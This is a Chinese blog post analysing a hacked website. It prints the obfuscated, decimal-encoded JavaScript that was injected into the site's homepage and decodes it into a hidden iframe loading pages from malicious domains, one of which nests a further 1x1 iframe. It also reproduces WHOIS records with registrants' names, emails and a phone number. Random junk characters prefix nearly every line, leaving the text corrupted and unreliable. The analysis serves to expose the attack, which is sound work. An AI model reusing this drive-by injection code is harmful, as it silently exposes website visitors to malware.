首发在我的博客里面，
y?#9>S >:\ ^IGyuj0]jG http://www.areway.cn/?p=175 m1-\qt-yy 9&%#nN4`8 \ C K(;J 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
90s;/y( '_ qQrP# <script>t=’60,105,102,114,97,109,101,
<jUrE[x 32,115,114,99,61,104,116,116,112,58,47,47,
xP/OsaxN 102,114,101,101,46,117,45,117,117,117,46,99,
e8WEz
4r_ 110,47,101,114,114,111,114,46,104,116,109,
6<Z*Tvk{C 32,119,105,100,116,104,61,49,48,48,32,104,
>+
]R4 101,105,103,104,116,61,48,62,60,47,105,102,
e3eVvl5] 114,97,109,101,62′;
1n'$ Ji7 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
A )Q h @H\pipT_b <script>t=’60,105,102,114,97,109,101,32,115,
:)p)=c8% 114,99,61,104,116,116,112,58,47,47,102,114,
@Y
UY9+ D& 101,101,46,117,45,117,117,117,46,99,110,47,
.Z=Ce! 101,114,114,111,114,46,104,116,109,32,119,
R zS|dGNQE 105,100,116,104,61,49,48,48,32,104,101,105,
PW%1xHLfk 103,104,116,61,48,62,60,47,105,102,114,97,
*KK[(o}^J- 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
]4Y/x i- document.write(t);</script>
+2DE/wE]e+ BWUt{,? KU <html xmlns=”
CE#\Roi x) http://www.w3.org/1999/xhtml hr$ Sa “>
R-pH Quu3 <head>
dL_QX,X- ] <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
ATXF,o1 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
EZ"bW <title>首页 - 爱生活家庭网
6F`qi: a+ 5vTv$ 2@ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
QCOLC2I 转换字符串后的大概内容是（谁点击后果自付）：
|2)Sd[ q <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
M8';% =@ !4R>O6k 查询玉米u-uuu.cn的详细信息：
ljPq2v ] Domain Name: u-uuu.cn
HG2GZ}~^1 ROID: 20070901s10001s64972306-cn
=}JBA>q( Domain Status: ok
<EMkD1e Registrant Organization: 王雷
XGfzEld2" Registrant Name: 王雷
DVI7]+=nV Administrative Email:
czlovexs@126.com vwKw?Z0%J Sponsoring Registrar: 北京万网志成科技有限公司
~,ynJ]_aJB Name Server:ns.yovole.com
&=6%> Name Server:ns1.yovole.com
D?e"U_ Registration Date: 2007-09-01 17:54
,"Tjpdf Expiration Date: 2008-09-01 17:54
%>Bko,ET 最后PING了一下地址 都没有什么….
q] ^,vei u4Y M^* S. 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
-kl;!:'.3 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
$uCiXDKCq <script language=”javascript” src=”
-vV'Lw ( http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script uPkb, :6~Z >
*Bs^NU. 这个玉米应该有可能是木马作者的：
QY@u}&m%o foafau.info的详细信息：
<Nex8fiJ9 Access to INFO WHOIS information is provided to assist persons in
R :A'&;S determining the contents of a domain name registration record in the
-#aZF2z Afilias registry database. The data in this record is provided by
==N` !+ Afilias Limited for informational purposes only, and Afilias does not
1}!L][( guarantee its accuracy. This service is intended only for query-based
\~>e_; access. You agree that you will use this data only for lawful purposes
]>D) # and that, under no circumstances will you use this data to: (a) allow,
^ av6HFQ enable, or otherwise support the transmission by e-mail, telephone, or
R)+t]} facsimile of mass unsolicited, commercial advertising or solicitations
"j R] MZ to entities other than the data recipient’s own existing customers; or
KCUU#t|8V\ (b) enable high volume, automated, electronic processes that send
"Sjr_! u queries or data to the systems of Registry Operator, a Registrar, or
p0M=t- Afilias except as reasonably necessary to register domain names or
KiAcA]0 modify existing registrations. All rights reserved. Afilias reserves
LkBZlh_ the right to modify these terms at any time. By submitting this query,
DyfsTx you agree to abide by this policy.
:p>hW! ~ Domain ID:D22418703-LRMS
/L&M,OUcr. Domain Name:FOAFAU.INFO
9t K>gwb Created On:20-Nov-2007 16:05:42 UTC
CISO< z0 Last Updated On:20-Nov-2007 16:05:44 UTC
b9Y_!Qe Expiration Date:20-Nov-2008 16:05:42 UTC
yNa;\UF Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
sDC*J \ X Status:CLIENT DELETE PROHIBITED
y+U83a[ L* Status:CLIENT RENEW PROHIBITED
)(m0cP{7 Status:CLIENT TRANSFER PROHIBITED
M2@;RZ(| Status:CLIENT UPDATE PROHIBITED
SEM8`lnu Status:TRANSFER PROHIBITED
^.go O] Registrant ID:GODA-040110615
}`o? /!X Registrant Name:liu hong
aV6#t*\J Registrant Organization:
n ~,t QV Registrant Street1:beijing
OeElMRU" Registrant Street2:
xA h xD|4_ Registrant Street3:
@dgH50 o[ Registrant City:beijing
cozXb$bBY Registrant State/Province:
>j x.R Registrant Postal Code:100000
mfom=-q3k Registrant Country:CN
g "hJ{{< Registrant Phone:+86.860108888777
zY=jXa)K~ Registrant Phone Ext.:
TD Nf)Mm Registrant FAX:
{0v*xL_O^ Registrant FAX Ext.:
vF4]ux&
Registrant Email:bbbshiji@163.com
>#(n"RCHf Admin ID:GODA-240110615
x,8<tSW)Z Admin Name:liu hong
%Mn.e a Admin Organization:
PmX2[ 7 Admin Street1:beijing
~i0R^qfr Admin Street2:
^,8R,S\} $ Admin Street3:
A??@AP[7M Admin City:beijing
D'_Bz8H!p Admin State/Province:
4Ysb5m)u Admin Postal Code:100000
m:+8J,jW Admin Country:CN
\7v)iG|#G& Admin Phone:+86.860108888777
xJwG=$ o Admin Phone Ext.:
T:iP="?{ Admin FAX:
1(#;&:$`i Admin FAX Ext.:
v;EQ, NL Admin Email:bbbshiji@163.com
FjFMR
63 Billing ID:GODA-340110615
@T-p2#& Billing Name:liu hong
$V>yXhTh Billing Organization:
SO f{Hx0C6 Billing Street1:beijing
{b)~V3rsY Billing Street2:
X /0v'N Billing Street3:
;xYNX
Billing City:beijing
DcD{*t?x Billing State/Province:
aelO3'UN Billing Postal Code:100000
Uh6 '$0 Billing Country:CN
~I=Y{iM Billing Phone:+86.860108888777
O(Jj|Z Billing Phone Ext.:
\2C`<h$fN Billing FAX:
{zLhiUH
a0 Billing FAX Ext.:
,&^3Z Billing Email:bbbshiji@163.com
YT#3 n Tech ID:GODA-140110615
b=;nm#cAI Tech Name:liu hong
W"q@Qa`Bm Tech Organization:
jX g Tech Street1:beijing
&&> tf%[ Tech Street2:
kOL'|GgK Tech Street3:
DKL@wr}8 Tech City:beijing
+IFw_3$ Tech State/Province:
|N /G'>TS Tech Postal Code:100000
v`PY>c6~ Tech Country:CN
w'T q 3-%V Tech Phone:+86.860108888777
PmpNAVE' Tech Phone Ext.:
.Ajzr8P Tech FAX:
hqvE!Of Tech FAX Ext.:
,:Z^ $ Tech Email:bbbshiji@163.com
O[^%{' Name Server:NS27.DOMAINCONTROL.COM
7[# yu 2 Name Server:NS28.DOMAINCONTROL.COM
(!L5-8O Name Server:
c}Z6 V1]QP Name Server:
J:*-gwv9*m Name Server:
y046:@v( Name Server:
~&dyRt W4 Name Server:
A7_4 .VH Name Server:
n/d`qS Name Server:
"/Pjjb:2 Name Server:
M~e0lg8 Name Server:
4BL ;FO Name Server:
uN*KHE+h Name Server:
H`hnEOyLp gV;H6" 接着下载每个文件里面的代码：
o G*5f 一步一步看..
^2D1`,| N 
n.MRz WJpZ 
796\ jf$ 
1$/MrPT(b 
tC?=E#3 V 
5 |0,X<& 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
